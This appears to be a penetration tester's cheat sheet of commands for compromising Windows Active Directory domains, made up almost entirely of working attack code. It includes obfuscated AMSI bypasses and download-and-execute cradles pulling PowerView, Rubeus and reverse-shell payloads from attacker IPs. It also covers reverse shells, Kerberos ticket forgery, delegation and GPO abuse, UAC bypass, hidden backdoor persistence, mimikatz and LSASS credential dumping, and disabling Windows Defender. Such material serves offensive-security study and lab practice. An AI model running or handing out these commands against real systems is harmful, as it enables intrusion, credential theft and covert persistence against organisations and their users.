[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

# Download and run assembly without arguments

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')

$assem = [System.Reflection.Assembly]::Load($data)

[rev.Program]::Main("".Split())

# Download and run Rubeus, with arguments

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')

$assem = [System.Reflection.Assembly]::Load($data)

[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')

$assem = [System.Reflection.Assembly]::Load($data)

$class = $assem.GetType("ClassLibrary1.Class1")

$method = $class.GetMethod("runner")

$method.Invoke(0, $null)

# Any version

(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:WindowsTempPowerUp.ps1")

# Powershell 4+

## You can use 'IWR' as a shorthand

Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -OutFile "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpIncnspc64.exe"

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:pathtoPowerView.ps1')) | clip

Powershell -EncodedCommand $encodedCommand

# Get all users in the current domain

Get-NetUser | select -ExpandProperty cn

# Get all computers in the current domain

Get-NetComputer

# Get all domains in current forest

Get-NetForestDomain

# Get domain/forest trusts

Get-NetDomainTrust

Get-NetForestTrust

# Get information for the DA group

Get-NetGroup -GroupName "Domain Admins"

# Find members of the DA group

Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares

Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC

# Get OUs for current domain

Get-NetOU -FullData

# Get computers in an OU

# %{} is a looping statement

Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}

# Get GPOs applied to a specific OU

Get-NetOU *student* | select gplink

Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain

Get-NetGPOGroup

# Get incoming ACL for a specific object

Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format

Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group

# ?{} is a filter statement

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$ExecutionContext.SessionState.LanguageMode

&{whoami}

Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd

# Get computers running LAPS, along with their passwords if we're allowed to read those

Get-LAPSComputers

# Get groups allowed to read LAPS passwords

Find-LAPSDelegatedGroups

powercat -l -p 443 -t 9999

# Find existing local admin access for user (noisy 🚩)

Find-LocalAdminAccess

# Find local admin access over PS remoting (also noisy 🚩), requires Find-PSRemotingLocalAdminAccess.ps1

Get-NetComputer -Domain dollarcorp.moneycorp.local > .targets.txt

Find-PSRemotingLocalAdminAccess -ComputerFile .targets.txt dcorp-std355

# Same for WMI. Requires 'Find-WMILocalAdminAccess.ps1', which seems to be removed from Nishang?

Find-WMILocalAdminAccess -ComputerFile .targets.txt

Find-WMILocalAdminAccess # Finds domain computers automatically

# Hunt for sessions of interesting users on machines where you have access (still noisy 🚩)

Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users

Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users

Get-DomainUser -PreauthNotRequired | select name

# Look for users on which we can set UserAccountControl flags

## If available - disable preauth or add SPN (see below)

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}

# Look for servers with Unconstrained Delegation enabled

## If available and you have admin privs on this server, get user TGT (see below)

Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled

## If available and you have user/computer hash, access service machine as DA (see below)

Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto

Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

# Run all checks if you don't care about OpSec 🚩

Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩

Invoke-BloodHound -CollectionMethod LoggedOn

Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

# Request TGS for kerberoastable account (SPN)

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"

# Dump TGS to disk

Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack

python.exe .tgsrepcrack.py .10k-worst-pass.txt .mssqlsvc.kirbi

Set-DomainObject -Identity support355user -Set @{serviceprincipalname='any/thing'}

Get-ASREPHash -UserName VPN355user

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Set-DomainObject -Identity Control355User -XOR @{useraccountcontrol=4194304}

# Show tokens on the machine

.incognito.exe list_tokens -u

# Start new process with token of a specific user

.incognito.exe execute -c "domainuser" C:Windowssystem32calc.exe

# Show all tokens on the machine

Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine

Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user

Invoke-TokenManipulation -ImpersonateUser -Username "domainuser"

# Start new process with token of another process

Invoke-TokenManipulation -CreateProcess "C:Windowssystem32calc.exe" -ProcessId 500

# Request a TGT as the target user and pass it into the current session

# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs

.Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 hash

.Rubeus.exe asktgt /user:Administrator /aes256:[AES256HASH] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)

.Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:WindowsSystem32cmd.exe

# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)

sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)

kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account

kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Mind the quotes. Use encoded commands if quoting becomes too much of a pain

schtasks /create /tn "shell" /ru "NT AuthoritySYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

schtasks /RUN /TN "shell" /s dc.targetdomain.com

Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"

# with password

impacket-wmiexec DOMAIN/targetuser:[email protected]

# with hash

impacket-wmiexec DOMAIN/[email protected] -hashes :e0e223d63905f5a7796fb1006e7dc594

# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)

impacket-wmiexec DOMAIN/[email protected] -no-pass -k

# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)

# Leave out -Credential $Cred in the below commands to run as the current user instead

$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN/targetuser', $SecPassword)

# Run a command remotely (can be used on multiple machines at once)

Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password instead, for use with e.g. RDP)

Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt

$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com

Invoke-Command -Session $sess -FilePath c:pathtofile.ps1

Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting session

Copy-Item -Path .Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:Userspublic"

sekurlsa::tickets /export

kerberos::ptt c:pathtoticket.kirbi

.Rubeus.exe triage

.Rubeus.exe dump /luid:0x5379f2 /nowrap

.Rubeus.exe ptt /ticket:doIFSDCC[...]

.Rubeus.exe monitor /interval:5 /nowrap

https://github.com/leechristensen/SpoolSample

.MS-RPRN.exe \dc.targetdomain.com \unconstrained-server.targetdomain.com

.Rubeus.exe ptt /ticket:doIFxTCCBc...

# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)

.Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN

.Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)

.Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Create a new machine account using PowerMad

New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target

$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"

$SDbytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target

Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target

.Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:userspublicticket.kirbi

.Rubeus.exe asktgs /ticket:c:userspublicticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt

kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

Get-DomainForeignGroupMember -domain targetdomain.com

Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi

.Rubeus.exe asktgs /ticket:c:adtoolseucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt

-- Find linked servers

EXEC sp_linkedservers

-- Run SQL query on linked server

select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

-- Enable 'xp_cmdshell' on remote server and execute commands, only works if RPC is enabled

EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER

EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER

EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

https://github.com/NetSPI/PowerUpSQL

# Get MSSQL databases in the domain, and test connectivity

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Try to get information on all domain databases

Get-SQLInstanceDomain | Get-SQLServerInfo

# Get information on a single reachable database

Get-SQLServerInfo -Instance TARGETSERVER

# Scan for MSSQL misconfigurations to escalate to SA

Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Execute SQL query

Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Run command (enables XP_CMDSHELL automatically if required)

Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Automatically find all linked databases

Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# Run command if XP_CMDSHELL is enabled on any of the linked databases

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft

EXEC master..xp_dirtree "\192.168.49.67share"

sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'

https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/remote-server-administration-tools

# Create a new GPO and link it to the target server

New-GPO -Name 'Totally Legit GPO' | New-GPLink -Target 'OU=TargetComputer,OU=Workstations,DC=TargetDomain,DC=com'

# Link an existing GPO to another target server

New-GPLink -Target 'OU=TargetComputer2,OU=Workstations,DC=TargetDomain,DC=com' -Name 'Totally Legit GPO'

# Deploy a registry runkey via the GPO

Set-GPPrefRegistryValue -Name 'Totally Legit GPO' -Context Computer -Action Create -Key 'HKLMSoftwareMicrosoftWindowsCurrentVersionRun' -ValueName 'Updater' -Value 'cmd.exe /c calc.exe' -Type ExpandString

SharpGPOAbuse.exe --AddComputerTask --TaskName "Microsoft LEGITIMATE Hotfix" --Author NT AUTHORITYSYSTEM --Command "cmd.exe" --Arguments "/c start calc.exe" --GPOName "Totally Legit GPO"

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

https://eternallybored.org/misc/netcat/

https://ohpe.it/juicy-potato/CLSID/

# On target system, after copying required binaries

echo C:tempnc64.exe -e cmd.exe $LHOST 443 > rev.bat

.JuicyPotato.exe -l 1337 -p C:temprev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

# Generate EncodedCommand

echo -n 'cmd /c start rundll32 c:\users\public\beacon.dll,Update' | base64

# Use SharpBypassUAC e.g. from a CobaltStrike beacon

beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==

# The command to execute in high integrity context

$cmd = "cmd /c start powershell.exe"

# Set the registry values

New-Item "HKCU:SoftwareClassesms-settingsShellOpencommand" -Force

New-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" -Name "DelegateExecute" -Value "" -Force

Set-ItemProperty -Path "HKCU:SoftwareClassesms-settingsShellOpencommand" -Name "(default)" -Value $cmd -Force

# Trigger fodhelper to perform the bypass

Start-Process "C:WindowsSystem32fodhelper.exe" -WindowStyle Hidden

# Clean registry

Start-Sleep 3

Remove-Item "HKCU:SoftwareClassesms-settings" -Recurse -Force

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

.PsExec.exe -i -s "c:temprev.bat"

.PsExec.exe -user $USERNAME -p $PASSWORD "c:temprev.bat"

c:Users[USERNAME]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

privilege::debugmisc::skeleton

Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync

New-ItemProperty "HKLM:SystemCurrentControlSetControlLsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1

Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'rootcimv2'

Set-RemotePSRemoting -UserName BackdoorUser -ComputerName dc.targetdomain.com

https://github.com/HarmJ0y/DAMP

Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser

# Get machine account hash for silver ticket attack

Get-RemoteMachineAccountHash -ComputerName DC01

# Get local account hashes

Get-RemoteLocalAccountHash -ComputerName DC01

# Get cached credentials (if any)

Get-RemoteCachedCredential -ComputerName DC01

Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

# Set SPN for user

lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)

lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user

## Requires retrieval of current ACL:

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl

## Then get target user SID:

Get-NetUser -UserName BackdoorUser | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])

lsadump::dcshadow /push

Get-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlLsa -Name "RunAsPPL"

https://github.com/itm4n/PPLdump

# Dump logon passwords

sekurlsa::logonpasswords

# Dump all domain hashes from a DC

## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩

lsadump::lsa /patch

# Dump only local users

lsadump::sam

# DCSync (requires 'ldap' SPN)

lsadump::dcsync /user:DOMAINkrbtgt /domain:targetdomain.com

# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩

vault::list

vault::cred /patch

# Find the IDs of protected secrets for a specific user

dir C:Users[USERNAME]AppDataLocalMicrosoftCredentials

# Get information, including the used master key ID, from a specific secret (take the path from above)

dpapi::cred /in:C:Users[USERNAME]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3

# IF YOU ARE PRIVILEGED

# Dump all master keys from the current system

sekurlsa::dpapi

# IF YOU ARE NOT PRIVILEGED (session as target user required)

# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)

dpapi::masterkey /rpc /in:C:Users[USERNAME]AppDataRoamingMicrosoftProtectS-1-5-21-3865823697-1816233505-1834004910-1124dd89dddf-946b-4a80-9fd3-7f03ebd41ff4

# Decrypt the secret using the retrieved master key

# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)

dpapi::cred /in:C:Users[USERNAME]]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad

# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly.procdump.exe -r -ma lsass.exe lsass.dmp

sekurlsa::minidump lsass.dmp

reg.exe save hklmsam c:userspublicdownloadssam.save

reg.exe save hklmsystem c:userspublicdownloadssystem.save

reg.exe save hklmsecurity c:userspublicdownloadssecurity.save

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out

wmic shadowcopy call create Volume='C:'

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsam C:userspublicsam.save

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsystem C:userspublicsystem.save

# Disable realtime monitoring altogether

Set-MpPreference -DisableRealtimeMonitoring $true

# Only disables scanning for downloaded files or attachments

Set-MpPreference -DisableIOAVProtection $true

Add-MpPreference -ExclusionPath "C:UsersPublicDownloadsSuperLegitDownloadDirectory"

"C:Program FilesWindows DefenderMpCmdRun.exe" -RemoveDefinitions -All

https://github.com/jpillora/chiselhttps://github.com/shantanu561993/SharpChisel

sudo ./chisel server -p 80 --reverse --socks5

.chisel.exe client 192.168.49.67:80 R:socks

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS(https://github.com/PowerShellMafia/PowerSploit

# All user folders

## Limit this command if there are too many files

tree /f /a C:Users

# Web.config

C:inetpubwww*web.config

# Unattend files

C:WindowsPantherUnattend.xml

# RDP config files

C:ProgramDataConfigs

# Powershell scripts/config files

C:Program FilesWindows PowerShell

# PuTTy config

C:Users[USERNAME]AppDataLocalLowMicrosoftPutty

# FileZilla creds

C:Users[USERNAME]AppDataRoamingFileZillaFileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)

C:Program FilesJenkinscredentials.xml

# WLAN profiles

C:ProgramDataMicrosoftWlansvcProfiles*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)

Get-ItemProperty -Path HKLM:SoftwareTightVNCServer -Name "Password" | select -ExpandProperty Password